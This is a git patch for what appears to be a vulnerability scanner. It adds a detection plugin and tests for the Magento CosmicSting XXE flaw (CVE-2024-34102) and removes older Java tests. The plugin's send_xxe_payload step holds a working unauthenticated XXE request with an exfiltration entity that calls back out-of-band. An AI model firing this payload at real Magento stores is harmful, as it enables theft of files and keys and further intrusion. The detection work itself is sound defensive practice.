webapi-deadbeef1337\"}"; - - @Before - public void setUp() throws IOException { - mockWebServer = new MockWebServer(); - mockCallbackServer.start(); - } - - @After - public void tearDown() throws Exception { - mockCallbackServer.shutdown(); - mockWebServer.shutdown(); - } - - private void createInjector(boolean tcsAvailable) { - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder() - .setCallbackServer(tcsAvailable ? mockCallbackServer : null) - .build(), - Modules.override(new MagentoCosmicStingXxeBootstrapModule()) - .with(BoundFieldModule.of(this))) - .injectMembers(this); - } - - @Test - public void detect_whenVulnerableAndTcsAvailable_reportsCriticalVulnerability() - throws IOException { - ImmutableList httpServices = mockWebServerSetup(true); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - - createInjector(true); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - - DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); - - DetectionReport expectedDetection = - generateDetectionReportWithCallback(detector, targetInfo, httpServices.get(0)); - assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); - assertThat(mockWebServer.getRequestCount()).isEqualTo(3); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); - } - - @Test - public void detect_whenVulnerableAndTcsNotAvailable_reportsHighVulnerability() - throws IOException { - ImmutableList httpServices = mockWebServerSetup(true); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - - createInjector(false); - - DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); - - DetectionReport expectedDetection = - generateDetectionReportWithResponseMatching(detector, targetInfo, httpServices.get(0)); - assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); - assertThat(mockWebServer.getRequestCount()).isEqualTo(3); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); - } - - @Test - public void detect_whenNotVulnerableAndTcsAvailable_reportsNoVulnerability() throws IOException { - ImmutableList httpServices = mockWebServerSetup(false); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - - createInjector(true); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); - - DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - assertThat(mockWebServer.getRequestCount()).isEqualTo(3); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); - } - - @Test - public void detect_whenNotVulnerableAndTcsNotAvailable_reportsNoVulnerability() - throws IOException { - ImmutableList httpServices = mockWebServerSetup(false); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - - createInjector(false); - - DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - assertThat(mockWebServer.getRequestCount()).isEqualTo(3); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); - } - - private DetectionReport generateDetectionReportWithCallback( - MagentoCosmicStingXxe detector, TargetInfo targetInfo, NetworkService networkService) { - String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION; - - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(networkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisory(Severity.CRITICAL, additionalDetails)) - .build(); - } - - private DetectionReport generateDetectionReportWithResponseMatching( - MagentoCosmicStingXxe detector, TargetInfo targetInfo, NetworkService networkService) { - String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION; - - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(networkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisory(Severity.HIGH, additionalDetails)) - .build(); - } - - private ImmutableList mockWebServerSetup(boolean isVulnerable) - throws IOException { - mockWebServer.setDispatcher(new EndpointDispatcher(isVulnerable)); - mockWebServer.start(); - return ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - } - - static final class EndpointDispatcher extends Dispatcher { - EndpointDispatcher(boolean isVulnerable) { - this.isVulnerable = isVulnerable; - } - - private final boolean isVulnerable; - - @Override - public MockResponse dispatch(RecordedRequest recordedRequest) { - - if (recordedRequest.getMethod().equals("GET") - && recordedRequest.getPath().equals("/" + VERSION_ENDPOINT_PATH)) { - // Version detection request - return new MockResponse() - .setResponseCode(HttpStatus.OK.code()) - .setBody(MOCK_MAGENTO_VERSION); - } else if (recordedRequest.getMethod().equals("GET") - && recordedRequest.getPath().equals("/" + CURRENCY_ENDPOINT_PATH)) { - // Magento identification request - return new MockResponse() - .setResponseCode(HttpStatus.OK.code()) - .setHeader("Content-Type", "application/json; charset=utf-8") - .setBody(MOCK_CURRENCY_ENDPOINT_RESPONSE); - } else if (recordedRequest.getMethod().equals("POST") - && recordedRequest.getPath().equals("/" + VULNERABLE_ENDPOINT_PATH)) { - // Exploit attempt - if (isVulnerable) { - return new MockResponse() - .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code()) - .setBody(VULNERABLE_INSTANCE_RESPONSE); - } else { - return new MockResponse() - .setResponseCode(HttpStatus.BAD_REQUEST.code()) - .setBody(PATCHED_INSTANCE_RESPONSE); - } - } else { - // Anything else, return a 404 - return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()); - } - } - } -} diff --git a/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto b/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto new file mode 100644 index 000000000..f1a5a0ea3 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto @@ -0,0 +1,135 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "MagentoCosmicSting_CVE_2024_34102" + author: + "Robert Dick (robert@doyensec.com) for the Templated version," + " Savino Sisco (savio@doyensec.com) for the original Java version" + version: "2.0" +} + +# finding ID changed from Java version to be more consistent with the rest of them. + +finding: { + main_id: { + publisher: "TSUNAMI_COMMUNITY" + value: "CVE_2024_34102" + } + severity: CRITICAL + title: "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)" + description: + "The scanner detected a Magento or Adobe Commerce instance vulnerable to the CosmicSting XXE" + " (CVE-2024-34102). The vulnerability can be exploited by sending an unauthenticated" + " HTTP request with a crafted XML file that references external entities; when the" + " request payload is deserialized, the attacker can extract sensitive files from the" + " system and gain administrative access to the software. Remote Code Execution (RCE)" + " can be accomplished by combining this issue with another vulnerability, such as the" + " PHP iconv RCE (CVE-2024-2961). An exploit that leverages both vulnerabilities to" + " achieve RCE on unpatched Magento is publicly available.\n" + "See: https://nvd.nist.gov/vuln/detail/CVE-2024-34102 or" + " https://helpx.adobe.com/security/products/magento/apsb24-40.html for more" + " information.\n Credit to Assetnote for the public POC: " + " https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102 \n" + recommendation: + "Install the latest security patches and rotate your encryption keys. More detailed" + " instructions can be found in the official Adobe security bulletin:" + " https://helpx.adobe.com/security/products/magento/apsb24-40.html." + related_id: { + publisher: "CVE" + value: "CVE-2024-34102" + } +} + + +########### +# ACTIONS # +########### + +actions: { + name: "fingerprint_magento" + http_request: { + method: GET + uri: "/rest/default/V1/directory/currency" + response: { + http_status: 200 + expect_any: { + conditions: [ + { body: {} contains: "base_currency_code" } + ] + } + } + } +} + +# we don't care about the response for this request since +# we can check callback server + +actions: { + name: "send_xxe_payload" + http_request: { + method: POST + uri: "/rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods" + headers: [ + { name: "User-Agent" value: "TSUNAMI_SCANNER"}, + { name: "Content-Type" value: "application/json"} + ] + data: + '{' + ' "address": {' + ' "totalsReader": {' + ' "collectorList": {' + ' "totalCollector": {' + ' "sourceData": {' + ' "data": "%sp;' + '%param1;]>&exfil;",' + ' "options": 16' + ' }' + ' }' + ' }' + ' }' + ' }' + '}' + } +} + + +# OOB sleep and check callback server steps +# since we already fingerprinted we can do a long sleep here. + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 5000 } } +} +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# + +# This is only out of band detection. For non-oob checks, the original +# plugin matched responses that could have different codes, so that part +# isn't feasible yet in the template engine. + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "fingerprint_magento", + "send_xxe_payload", + "sleep", + "check_callback_server_logs" + ] +} + diff --git a/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102_test.textproto b/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102_test.textproto new file mode 100644 index 000000000..027435159 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102_test.textproto @@ -0,0 +1,86 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "MagentoCosmicSting_CVE_2024_34102" +} + +tests: { + name: "whenOobVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/rest/default/V1/directory/currency" + status: 200 + body_content: + '{"base_currency_code":"USD","base_currency_symbol":"$"' + ',"default_display_currency_code":"USD","default_displa' + 'y_currency_symbol":"$","available_currency_codes":["US' + 'D","EUR"],"exchange_rates":[{"currency_to":"USD","rate' + '":1},{"currency_to":"EUR","rate":0.7067}]}' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: ' ... ' + } + ] + } +} + +tests: { + name: "whenOobNotVulnerable_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/rest/default/V1/directory/currency" + status: 200 + body_content: + '{"base_currency_code":"USD","base_currency_symbol":"$"' + ',"default_display_currency_code":"USD","default_displa' + 'y_currency_symbol":"$","available_currency_codes":["US' + 'D","EUR"],"exchange_rates":[{"currency_to":"USD","rate' + '":1},{"currency_to":"EUR","rate":0.7067}]}' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: ' ... ' + } + ] + } +} + +tests: { + name: "whenRandomServer_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Login to your Drupal account" + } + ] + } +} From 5887c2af0dade73d8536f96b5b39ff6266c3a395 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 14 Aug 2026 09:34:20 -0400 Subject: [PATCH 2/2] Update templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto Co-authored-by: Giacomo Coluccelli --- .../plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto | 1 - 1 file changed, 1 deletion(-) diff --git a/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto b/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto index f1a5a0ea3..cb3471c63 100644 --- a/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto +++ b/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto @@ -14,7 +14,6 @@ info: { version: "2.0" } -# finding ID changed from Java version to be more consistent with the rest of them. finding: { main_id: {